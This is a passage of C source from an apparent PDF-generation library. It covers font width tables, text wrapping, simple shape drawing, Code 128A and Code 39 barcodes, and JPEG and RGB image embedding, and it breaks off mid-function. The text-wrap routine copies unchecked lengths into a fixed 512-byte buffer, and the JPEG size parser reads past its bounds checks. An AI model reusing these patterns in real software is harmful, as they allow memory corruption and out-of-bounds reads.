0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 750, 620, 247, 549, 167, 713, 500, 753,\n 753, 753, 753, 1042, 987, 603, 987, 603,\n 400, 549, 411, 549, 549, 713, 494, 460,\n 549, 549, 549, 549, 1000, 603, 1000, 658,\n 823, 686, 795, 987, 768, 768, 823, 768,\n 768, 713, 713, 713, 713, 713, 713, 713,\n 768, 713, 790, 790, 890, 823, 549, 250,\n 713, 603, 603, 1042, 987, 603, 987, 603,\n 494, 329, 790, 790, 786, 713, 384, 384,\n 384, 384, 384, 384, 494, 494, 494, 494,\n 0, 329, 274, 686, 686, 686, 384, 384,\n 384, 384, 384, 384, 494, 494, 494, 0\n};", "static uint16_t times_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 408, 500, 500, 833, 778, 180,\n 333, 333, 500, 564, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 278, 278, 564, 564, 564, 444,\n 921, 722, 667, 667, 722, 611, 556, 722,\n 722, 333, 389, 722, 611, 889, 722, 722,\n 556, 722, 667, 556, 611, 722, 722, 944,\n 722, 722, 611, 333, 278, 333, 469, 500,\n 333, 444, 500, 444, 500, 444, 333, 500,\n 500, 278, 278, 500, 278, 778, 500, 500,\n 500, 500, 333, 389, 278, 500, 500, 722,\n 500, 500, 444, 480, 200, 480, 541, 350,\n 500, 350, 333, 500, 444, 1000, 500, 500,\n 333, 1000, 556, 333, 889, 350, 611, 350,\n 350, 333, 333, 444, 444, 350, 500, 1000,\n 333, 980, 389, 333, 722, 350, 444, 722,\n 250, 333, 500, 500, 500, 500, 200, 500,\n 333, 760, 276, 500, 564, 333, 760, 333,\n 400, 564, 300, 300, 333, 500, 453, 250,\n 333, 300, 310, 500, 750, 750, 750, 444,\n 722, 722, 722, 722, 722, 722, 889, 667,\n 611, 611, 611, 611, 333, 333, 333, 333,\n 722, 722, 722, 722, 722, 722, 722, 564,\n 722, 722, 722, 722, 722, 722, 556, 500,\n 444, 444, 444, 444, 444, 444, 667, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 500, 500, 500, 500, 500, 500, 564,\n 500, 500, 500, 500, 500, 500, 500, 500\n};", "static uint16_t times_bold_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 555, 500, 500, 1000, 833, 278,\n 333, 333, 500, 570, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 333, 333, 570, 570, 570, 500,\n 930, 722, 667, 722, 722, 667, 611, 778,\n 778, 389, 500, 778, 667, 944, 722, 778,\n 611, 778, 722, 556, 667, 722, 722, 1000,\n 722, 722, 667, 333, 278, 333, 581, 500,\n 333, 500, 556, 444, 556, 444, 333, 500,\n 556, 278, 333, 556, 278, 833, 556, 500,\n 556, 556, 444, 389, 333, 556, 500, 722,\n 500, 500, 444, 394, 220, 394, 520, 350,\n 500, 350, 333, 500, 500, 1000, 500, 500,\n 333, 1000, 556, 333, 1000, 350, 667, 350,\n 350, 333, 333, 500, 500, 350, 500, 1000,\n 333, 1000, 389, 333, 722, 350, 444, 722,\n 250, 333, 500, 500, 500, 500, 220, 500,\n 333, 747, 300, 500, 570, 333, 747, 333,\n 400, 570, 300, 300, 333, 556, 540, 250,\n 333, 300, 330, 500, 750, 750, 750, 500,\n 722, 722, 722, 722, 722, 722, 1000, 722,\n 667, 667, 667, 667, 389, 389, 389, 389,\n 722, 722, 778, 778, 778, 778, 778, 570,\n 778, 722, 722, 722, 722, 722, 611, 556,\n 500, 500, 500, 500, 500, 500, 722, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 556, 500, 500, 500, 500, 500, 570,\n 500, 556, 556, 556, 556, 500, 556, 500\n} ;", "static uint16_t times_bold_italic_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 389, 555, 500, 500, 833, 778, 278,\n 333, 333, 500, 570, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 333, 333, 570, 570, 570, 500,\n 832, 667, 667, 667, 722, 667, 667, 722,\n 778, 389, 500, 667, 611, 889, 722, 722,\n 611, 722, 667, 556, 611, 722, 667, 889,\n 667, 611, 611, 333, 278, 333, 570, 500,\n 333, 500, 500, 444, 500, 444, 333, 500,\n 556, 278, 278, 500, 278, 778, 556, 500,\n 500, 500, 389, 389, 278, 556, 444, 667,\n 500, 444, 389, 348, 220, 348, 570, 350,\n 500, 350, 333, 500, 500, 1000, 500, 500,\n 333, 1000, 556, 333, 944, 350, 611, 350,\n 350, 333, 333, 500, 500, 350, 500, 1000,\n 333, 1000, 389, 333, 722, 350, 389, 611,\n 250, 389, 500, 500, 500, 500, 220, 500,\n 333, 747, 266, 500, 606, 333, 747, 333,\n 400, 570, 300, 300, 333, 576, 500, 250,\n 333, 300, 300, 500, 750, 750, 750, 500,\n 667, 667, 667, 667, 667, 667, 944, 667,\n 667, 667, 667, 667, 389, 389, 389, 389,\n 722, 722, 722, 722, 722, 722, 722, 570,\n 722, 722, 722, 722, 722, 611, 611, 500,\n 500, 500, 500, 500, 500, 500, 722, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 556, 500, 500, 500, 500, 500, 570,\n 500, 556, 556, 556, 556, 444, 500, 444\n};", "static uint16_t times_italic_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 420, 500, 500, 833, 778, 214,\n 333, 333, 500, 675, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 333, 333, 675, 675, 675, 500,\n 920, 611, 611, 667, 722, 611, 611, 722,\n 722, 333, 444, 667, 556, 833, 667, 722,\n 611, 722, 611, 500, 556, 722, 611, 833,\n 611, 556, 556, 389, 278, 389, 422, 500,\n 333, 500, 500, 444, 500, 444, 278, 500,\n 500, 278, 278, 444, 278, 722, 500, 500,\n 500, 500, 389, 389, 278, 500, 444, 667,\n 444, 444, 389, 400, 275, 400, 541, 350,\n 500, 350, 333, 500, 556, 889, 500, 500,\n 333, 1000, 500, 333, 944, 350, 556, 350,\n 350, 333, 333, 556, 556, 350, 500, 889,\n 333, 980, 389, 333, 667, 350, 389, 556,\n 250, 389, 500, 500, 500, 500, 275, 500,\n 333, 760, 276, 500, 675, 333, 760, 333,\n 400, 675, 300, 300, 333, 500, 523, 250,\n 333, 300, 310, 500, 750, 750, 750, 500,\n 611, 611, 611, 611, 611, 611, 889, 667,\n 611, 611, 611, 611, 333, 333, 333, 333,\n 722, 667, 722, 722, 722, 722, 722, 675,\n 722, 722, 722, 722, 722, 556, 611, 500,\n 500, 500, 500, 500, 500, 500, 667, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 500, 500, 500, 500, 500, 500, 675,\n 500, 500, 500, 500, 500, 444, 500, 444\n};", "static uint16_t zapfdingbats_widths[256] = {\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 278, 974, 961, 974, 980, 719, 789, 790,\n 791, 690, 960, 939, 549, 855, 911, 933,\n 911, 945, 974, 755, 846, 762, 761, 571,\n 677, 763, 760, 759, 754, 494, 552, 537,\n 577, 692, 786, 788, 788, 790, 793, 794,\n 816, 823, 789, 841, 823, 833, 816, 831,\n 923, 744, 723, 749, 790, 792, 695, 776,\n 768, 792, 759, 707, 708, 682, 701, 826,\n 815, 789, 789, 707, 687, 696, 689, 786,\n 787, 713, 791, 785, 791, 873, 761, 762,\n 762, 759, 759, 892, 892, 788, 784, 438,\n 138, 277, 415, 392, 392, 668, 668, 0,\n 390, 390, 317, 317, 276, 276, 509, 509,\n 410, 410, 234, 234, 334, 334, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 732, 544, 544, 910, 667, 760, 760,\n 776, 595, 694, 626, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 894, 838, 1016, 458,\n 748, 924, 748, 918, 927, 928, 928, 834,\n 873, 828, 924, 924, 917, 930, 931, 463,\n 883, 836, 836, 867, 867, 696, 696, 874,\n 0, 874, 760, 946, 771, 865, 771, 888,\n 967, 888, 831, 873, 927, 970, 918, 0\n};", "static uint16_t courier_widths[256] = {\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n};", "static int pdf_text_pixel_width(const char *text, int text_len, int size,\n const uint16_t *widths)\n{\n int i;\n int len = 0;\n if (text_len < 0)\n text_len = strlen(text);", " for (i = 0; i < text_len; i++)\n len += widths[(uint8_t)text[i]];", " /* Our widths arrays are for 14pt fonts */\n return len * size / (14 * 72);\n}", "static const uint16_t *find_font_widths(const char *font_name)\n{\n if (strcmp(font_name, \"Helvetica\") == 0)\n return helvetica_widths;\n if (strcmp(font_name, \"Helvetica-Bold\") == 0)\n return helvetica_bold_widths;\n if (strcmp(font_name, \"Helvetica-BoldOblique\") == 0)\n return helvetica_bold_oblique_widths;\n if (strcmp(font_name, \"Helvetica-Oblique\") == 0)\n return helvetica_oblique_widths;\n if (strcmp(font_name, \"Courier\") == 0 ||\n strcmp(font_name, \"Courier-Bold\") == 0 ||\n strcmp(font_name, \"Courier-BoldOblique\") == 0 ||\n strcmp(font_name, \"Courier-Oblique\") == 0)\n return courier_widths;\n if (strcmp(font_name, \"Times-Roman\") == 0)\n return times_widths;\n if (strcmp(font_name, \"Times-Bold\") == 0)\n return times_bold_widths;\n if (strcmp(font_name, \"Times-Italic\") == 0)\n return times_italic_widths;\n if (strcmp(font_name, \"Times-BoldItalic\") == 0)\n return times_bold_italic_widths;\n if (strcmp(font_name, \"Symbol\") == 0)\n return symbol_widths;\n if (strcmp(font_name, \"ZapfDingbats\") == 0)\n return zapfdingbats_widths;", " return NULL;\n}", "int pdf_get_font_text_width(struct pdf_doc *pdf, const char *font_name,\n const char *text, int size)\n{\n const uint16_t *widths = find_font_widths(font_name);", " if (!widths)\n return pdf_set_err(pdf, -EINVAL, \"Unable to determine width for font '%s'\",\n pdf->current_font->font.name);\n return pdf_text_pixel_width(text, -1, size, widths);\n}", "static const char *find_word_break(const char *string)\n{\n /* Skip over the actual word */\n while (string && *string && !isspace(*string))\n string++;", " return string;\n}", "int pdf_add_text_wrap(struct pdf_doc *pdf, struct pdf_object *page,\n const char *text, int size, int xoff, int yoff,\n uint32_t colour, int wrap_width)\n{\n /* Move through the text string, stopping at word boundaries,\n * trying to find the longest text string we can fit in the given width\n */\n const char *start = text;\n const char *last_best = text;\n const char *end = text;\n char line[512];\n const uint16_t *widths;\n int orig_yoff = yoff;", " widths = find_font_widths(pdf->current_font->font.name);\n if (!widths)\n return pdf_set_err(pdf, -EINVAL, \"Unable to determine width for font '%s'\",\n pdf->current_font->font.name);", " while (start && *start) {\n const char *new_end = find_word_break(end + 1);\n int line_width;\n int output = 0;", " end = new_end;", " line_width = pdf_text_pixel_width(start, end - start, size, widths);", " if (line_width >= wrap_width) {\n if (last_best == start) {\n /* There is a single word that is too long for the line */\n int i;\n /* Find the best character to chop it at */\n for (i = end - start - 1; i > 0; i--)\n if (pdf_text_pixel_width(start, i, size, widths) < wrap_width)\n break;", " end = start + i;\n } else\n end = last_best;\n output = 1;\n }\n if (*end == '\\0')\n output = 1;", " if (*end == '\\n' || *end == '\\r')\n output = 1;", " if (output) {\n int len = end - start;\n strncpy(line, start, len);\n line[len] = '\\0';\n pdf_add_text(pdf, page, line, size, xoff, yoff, colour);", " if (*end == ' ')\n end++;", " start = last_best = end;\n yoff -= size;\n } else\n last_best = end;\n }", " return orig_yoff - yoff;\n}", "\nint pdf_add_line(struct pdf_doc *pdf, struct pdf_object *page,\n int x1, int y1, int x2, int y2, int width, uint32_t colour)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT\\r\\n\");\n dstr_printf(&str, \"%d w\\r\\n\", width);\n dstr_printf(&str, \"%d %d m\\r\\n\", x1, y1);\n dstr_printf(&str, \"/DeviceRGB CS\\r\\n\");\n dstr_printf(&str, \"%f %f %f RG\\r\\n\",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d %d l S\\r\\n\", x2, y2);\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "int pdf_add_circle(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int radius, int width, uint32_t colour, bool filled)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT \");\n if (filled)\n dstr_printf(&str, \"%f %f %f rg \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n else\n dstr_printf(&str, \"%f %f %f RG \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d w \", width);\n /* This is a bit of a rough approximation of a circle based on bezier curves.\n * It's not exact\n */\n dstr_printf(&str, \"%d %d m \", x + radius, y);\n dstr_printf(&str, \"%d %d %d %d v \", x + radius, y + radius, x, y + radius);\n dstr_printf(&str, \"%d %d %d %d v \", x - radius, y + radius, x - radius, y);\n dstr_printf(&str, \"%d %d %d %d v \", x - radius, y - radius, x, y - radius);\n dstr_printf(&str, \"%d %d %d %d v \", x + radius, y - radius, x + radius, y);\n if (filled)\n dstr_append(&str, \"f \");\n else\n dstr_append(&str, \"S \");\n dstr_append(&str, \"ET\");\n ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "int pdf_add_rectangle(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height, int border_width,\n uint32_t colour)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT \");\n dstr_printf(&str, \"%f %f %f RG \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d w \", border_width);\n dstr_printf(&str, \"%d %d %d %d re S \", x, y, width, height);\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "int pdf_add_filled_rectangle(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n int border_width, uint32_t colour)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT \");\n dstr_printf(&str, \"%f %f %f rg \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d w \", border_width);\n dstr_printf(&str, \"%d %d %d %d re f \", x, y, width, height);\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "static const struct {\n uint32_t code;\n char ch;\n} code_128a_encoding[] = {\n {0x212222, ' '},\n {0x222122, '!'},\n {0x222221, '\"'},\n {0x121223, '#'},\n {0x121322, '$'},\n {0x131222, '%'},\n {0x122213, '&'},\n {0x122312, '\\''},\n {0x132212, '('},\n {0x221213, ')'},\n {0x221312, '*'},\n {0x231212, '+'},\n {0x112232, ','},\n {0x122132, '-'},\n {0x122231, '.'},\n {0x113222, '/'},\n {0x123122, '0'},\n {0x123221, '1'},\n {0x223211, '2'},\n {0x221132, '3'},\n {0x221231, '4'},\n {0x213212, '5'},\n {0x223112, '6'},\n {0x312131, '7'},\n {0x311222, '8'},\n {0x321122, '9'},\n {0x321221, ':'},\n {0x312212, ';'},\n {0x322112, '<'},\n {0x322211, '='},\n {0x212123, '>'},\n {0x212321, '?'},\n {0x232121, '@'},\n {0x111323, 'A'},\n {0x131123, 'B'},\n {0x131321, 'C'},\n {0x112313, 'D'},\n {0x132113, 'E'},\n {0x132311, 'F'},\n {0x211313, 'G'},\n {0x231113, 'H'},\n {0x231311, 'I'},\n {0x112133, 'J'},\n {0x112331, 'K'},\n {0x132131, 'L'},\n {0x113123, 'M'},\n {0x113321, 'N'},\n {0x133121, 'O'},\n {0x313121, 'P'},\n {0x211331, 'Q'},\n {0x231131, 'R'},\n {0x213113, 'S'},\n {0x213311, 'T'},\n {0x213131, 'U'},\n {0x311123, 'V'},\n {0x311321, 'W'},\n {0x331121, 'X'},\n {0x312113, 'Y'},\n {0x312311, 'Z'},\n {0x332111, '['},\n {0x314111, '\\\\'},\n {0x221411, ']'},\n {0x431111, '^'},\n {0x111224, '_'},\n {0x111422, '`'},\n {0x121124, 'a'},\n {0x121421, 'b'},\n {0x141122, 'c'},\n {0x141221, 'd'},\n {0x112214, 'e'},\n {0x112412, 'f'},\n {0x122114, 'g'},\n {0x122411, 'h'},\n {0x142112, 'i'},\n {0x142211, 'j'},\n {0x241211, 'k'},\n {0x221114, 'l'},\n {0x413111, 'm'},\n {0x241112, 'n'},\n {0x134111, 'o'},\n {0x111242, 'p'},\n {0x121142, 'q'},\n {0x121241, 'r'},\n {0x114212, 's'},\n {0x124112, 't'},\n {0x124211, 'u'},\n {0x411212, 'v'},\n {0x421112, 'w'},\n {0x421211, 'x'},\n {0x212141, 'y'},\n {0x214121, 'z'},\n {0x412121, '{'},\n {0x111143, '|'},\n {0x111341, '}'},\n {0x131141, '~'},\n {0x114113, '\\0'},\n {0x114311, '\\0'},\n {0x411113, '\\0'},\n {0x411311, '\\0'},\n {0x113141, '\\0'},\n {0x114131, '\\0'},\n {0x311141, '\\0'},\n {0x411131, '\\0'},\n {0x211412, '\\0'},\n {0x211214, '\\0'},\n {0x211232, '\\0'},\n {0x2331112, '\\0'},\n};", "static int find_128_encoding(char ch)\n{\n int i;\n for (i = 0; i < ARRAY_SIZE(code_128a_encoding); i++) {\n if (code_128a_encoding[i].ch == ch)\n return i;\n }\n return -1;\n}", "static int pdf_barcode_128a_ch(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n uint32_t colour, int index, int code_len)\n{\n uint32_t code = code_128a_encoding[index].code;\n int i;\n int line_width = width / 11;", " for (i = 0; i < code_len; i++) {\n uint8_t shift = (code_len - 1 - i) * 4;\n uint8_t mask = (code >> shift) & 0xf;", " if (!(i % 2)) {\n int j;\n for (j = 0; j < mask; j++) {\n pdf_add_line(pdf, page, x, y, x, y + height, line_width, colour);\n x += line_width;\n }\n } else\n x += line_width * mask;\n }\n return x;\n}", "static int pdf_add_barcode_128a(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n const char *string, uint32_t colour)\n{\n const char *s;\n int len = strlen(string) + 3;\n int char_width = width / len;\n int checksum, i;", " for (s = string; *s; s++)\n if (find_128_encoding(*s) < 0)\n return pdf_set_err(pdf, -EINVAL, \"Invalid barcode character 0x%x\", *s);", " x = pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour, 104,\n 6);\n checksum = 104;", " for (i = 1, s = string; *s; s++, i++) {\n int index = find_128_encoding(*s);\n x = pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour, index,\n 6);\n checksum += index * i;\n }\n x = pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour,\n checksum % 103, 6);\n pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour, 106,\n 7);\n return 0;\n}", "/* Code 39 character encoding. Each 4-bit value indicates:\n * 0 => wide bar\n * 1 => narrow bar\n * 2 => wide space\n */\nstatic const struct {\n uint32_t code;\n char ch;\n} code_39_encoding[] = {\n {0x012110, '1'},\n {0x102110, '2'},\n {0x002111, '3'},\n {0x112010, '4'},\n {0x012011, '5'},\n {0x102011, '6'},\n {0x112100, '7'},\n {0x012101, '8'},\n {0x102101, '9'},\n {0x112001, '0'},\n {0x011210, 'A'},\n {0x101210, 'B'},\n {0x001211, 'C'},\n {0x110210, 'D'},\n {0x010211, 'E'},\n {0x100211, 'F'},\n {0x111200, 'G'},\n {0x011201, 'H'},\n {0x101201, 'I'},\n {0x110201, 'J'},\n {0x011120, 'K'},\n {0x101120, 'L'},\n {0x001121, 'M'},\n {0x110120, 'N'},\n {0x010121, 'O'},\n {0x100121, 'P'},\n {0x111020, 'Q'},\n {0x011021, 'R'},\n {0x101021, 'S'},\n {0x110021, 'T'},\n {0x021110, 'U'},\n {0x120110, 'V'},\n {0x020111, 'W'},\n {0x121010, 'X'},\n {0x021011, 'Y'},\n {0x120011, 'Z'},\n {0x121100, '-'},\n {0x021101, '.'},\n {0x120101, ' '},\n {0x121001, '*'}, // 'stop' character\n};", "\nstatic int pdf_barcode_39_ch(struct pdf_doc *pdf, struct pdf_object *page, int x, int y, int char_width, int height, uint32_t colour, char ch)\n{\n int nw = char_width / 12;\n int ww = char_width / 4;\n int i;\n uint32_t code;", " if (nw <= 1 || ww <= 1)\n return pdf_set_err(pdf, -EINVAL, \"Insufficient width for each character\");", " for (i = 0; i < ARRAY_SIZE(code_39_encoding); i++) {\n if (code_39_encoding[i].ch == ch) {\n code = code_39_encoding[i].code;\n break;\n }\n }\n if (i == ARRAY_SIZE(code_39_encoding))\n return pdf_set_err(pdf, -EINVAL, \"Invalid Code 39 character %c 0x%x\", ch, ch);", "\n for (i = 5; i >= 0; i--) {\n int pattern = (code >> i * 4) & 0xf;\n if (pattern == 0) { // wide\n if (pdf_add_filled_rectangle(pdf, page, x, y, ww - 1, height, 0, colour) < 0)\n return pdf->errval;\n x += ww;\n }\n if (pattern == 1) { // narrow\n if (pdf_add_filled_rectangle(pdf, page, x, y, nw - 1, height, 0, colour) < 0)\n return pdf->errval;\n x += nw;\n }\n if (pattern == 2) { // space\n x += nw;\n }\n }\n return x;\n}", "static int pdf_add_barcode_39(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n const char *string, uint32_t colour)\n{\n int len = strlen(string);\n int char_width = width / (len + 2);", " x = pdf_barcode_39_ch(pdf, page, x, y, char_width, height, colour, '*');\n if (x < 0)\n return x;", " while (string && *string) {\n x = pdf_barcode_39_ch(pdf, page, x, y, char_width, height, colour, *string);\n if (x < 0)\n return x;\n string++;\n };", " x = pdf_barcode_39_ch(pdf, page, x, y, char_width, height, colour, '*');\n if (x < 0)\n return x;", " return 0;\n}", "int pdf_add_barcode(struct pdf_doc *pdf, struct pdf_object *page,\n int code, int x, int y, int width, int height,\n const char *string, uint32_t colour)\n{\n if (!string || !*string)\n return 0;\n switch (code) {\n case PDF_BARCODE_128A:\n return pdf_add_barcode_128a(pdf, page, x, y,\n width, height, string, colour);\n case PDF_BARCODE_39:\n return pdf_add_barcode_39(pdf, page, x, y, width, height, string, colour);\n default:\n return pdf_set_err(pdf, -EINVAL, \"Invalid barcode code %d\", code);\n }\n}", "static pdf_object *pdf_add_raw_rgb24(struct pdf_doc *pdf,\n uint8_t *data, int width, int height)\n{\n struct pdf_object *obj;\n char line[1024];\n int len;\n uint8_t *final_data;\n const char *endstream = \">\\r\\nendstream\\r\\n\";\n int i;", " sprintf(line,\n \"<<\\r\\n/Type /XObject\\r\\n/Name /Image%d\\r\\n/Subtype /Image\\r\\n\"\n \"/ColorSpace /DeviceRGB\\r\\n/Height %d\\r\\n/Width %d\\r\\n\"\n \"/BitsPerComponent 8\\r\\n/Filter /ASCIIHexDecode\\r\\n\"\n \"/Length %d\\r\\n>>stream\\r\\n\",\n flexarray_size(&pdf->objects), height, width, width * height * 3 * 2 + 1);", " len = strlen(line) + width * height * 3 * 2 + strlen(endstream) + 1;\n final_data = malloc(len);\n if (!final_data) {\n pdf_set_err(pdf, -ENOMEM, \"Unable to allocate %d bytes memory for image\",\n len);\n return NULL;\n }\n strcpy((char *)final_data, line);\n uint8_t *pos = &final_data[strlen(line)];\n for (i = 0; i < width * height * 3; i++) {\n *pos++ = \"0123456789ABCDEF\"[(data[i] >> 4) & 0xf];\n *pos++ = \"0123456789ABCDEF\"[data[i] & 0xf];\n }\n strcpy((char *)pos, endstream);\n pos += strlen(endstream);", " obj = pdf_add_object(pdf, OBJ_image);\n if (!obj) {\n free(final_data);\n return NULL;\n }\n obj->stream.text = (char *)final_data;\n obj->stream.len = pos - final_data;", " return obj;\n}", "/* See http://www.64lines.com/jpeg-width-height for details */\nstatic int jpeg_size(unsigned char* data, unsigned int data_size,\n int *width, int *height)\n{\n int i = 0;\n if (i + 3 < data_size && data[i] == 0xFF && data[i+1] == 0xD8 &&\n data[i+2] == 0xFF && data[i+3] == 0xE0) {\n i += 4;\n if(i + 6 < data_size &&\n data[i+2] == 'J' && data[i+3] == 'F' && data[i+4] == 'I' &&\n data[i+5] == 'F' && data[i+6] == 0x00) {\n unsigned short block_length = data[i] * 256 + data[i+1];\n while(i<data_size) {\n i+=block_length;\n if((i + 1) >= data_size)\n return -1;\n if(data[i] != 0xFF)\n return -1;\n if(data[i+1] == 0xC0) {\n *height = data[i+5]*256 + data[i+6];\n *width = data[i+7]*256 + data[i+8];\n return 0;\n }\n i+=2;", " block_length = data[i] * 256 + data[i+1];", " }\n }\n }", " return -1;\n}", "static pdf_object *pdf_add_raw_jpeg(struct pdf_doc *pdf,\n const char *jpeg_file)\n{\n struct stat buf;\n off_t len;\n char *final_data;\n uint8_t *jpeg_data;\n int written = 0;\n FILE *fp;\n struct pdf_object *obj;\n int width, height;", " if (stat(jpeg_file, &buf) < 0) {\n pdf_set_err(pdf, -errno, \"Unable to access %s: %s\", jpeg_file,\n strerror(errno));\n return NULL;\n }", " len = buf.st_size;", " if ((fp = fopen(jpeg_file, \"rb\")) == NULL) {\n pdf_set_err(pdf, -errno, \"Unable to open %s: %s\", jpeg_file,\n strerror(errno));\n return NULL;\n }", " jpeg_data = malloc(len);\n if (!jpeg_data) {\n pdf_set_err(pdf, -errno, \"Unable to allocate: %zd\", len);\n fclose(fp);\n return NULL;\n }", " if (fread(jpeg_data, len, 1, fp) != 1) {\n pdf_set_err(pdf, -errno, \"Unable to read full jpeg data\");\n free(jpeg_data);\n fclose(fp);\n return NULL;\n }\n fclose(fp);", " if (jpeg_size(jpeg_data, len, &width, &height) < 0) {\n free(jpeg_data);\n pdf_set_err(pdf, -EINVAL, \"Unable to determine jpeg width/height from %s\",\n jpeg_file);\n return NULL;\n }", " final_data = malloc(len + 1024);\n if (!final_data) {\n pdf_set_err(pdf, -errno, \"Unable to allocate jpeg data %zd\", len + 1024);\n free(jpeg_data);\n return NULL;\n }", " written = sprintf(final_data,\n \"<<\\r\\n/Type /XObject\\r\\n/Name /Image%d\\r\\n\"\n \"/Subtype /Image\\r\\n/ColorSpace /DeviceRGB\\r\\n\"\n \"/Width %d\\r\\n/Height %d\\r\\n\"\n \"/BitsPerComponent 8\\r\\n/Filter /DCTDecode\\r\\n\"\n \"/Length %d\\r\\n>>stream\\r\\n\",\n flexarray_size(&pdf->objects), width, height, (int)len);\n memcpy(&final_data[written], jpeg_data, len);\n written += len;\n written += sprintf(&final_data[written], \"\\r\\nendstream\\r\\n\");", " free(jpeg_data);", " obj = pdf_add_object(pdf, OBJ_image);\n if (!obj) {\n free(final_data);\n return NULL;\n }\n obj->stream.text = final_data;\n obj->stream.len = written;", " return obj;\n}", "static int pdf_add_image(struct pdf_doc *pdf, struct pdf_object *page,\n struct pdf_object *image, int x, int y, int width,\n int height)\n{\n int ret;\n struct 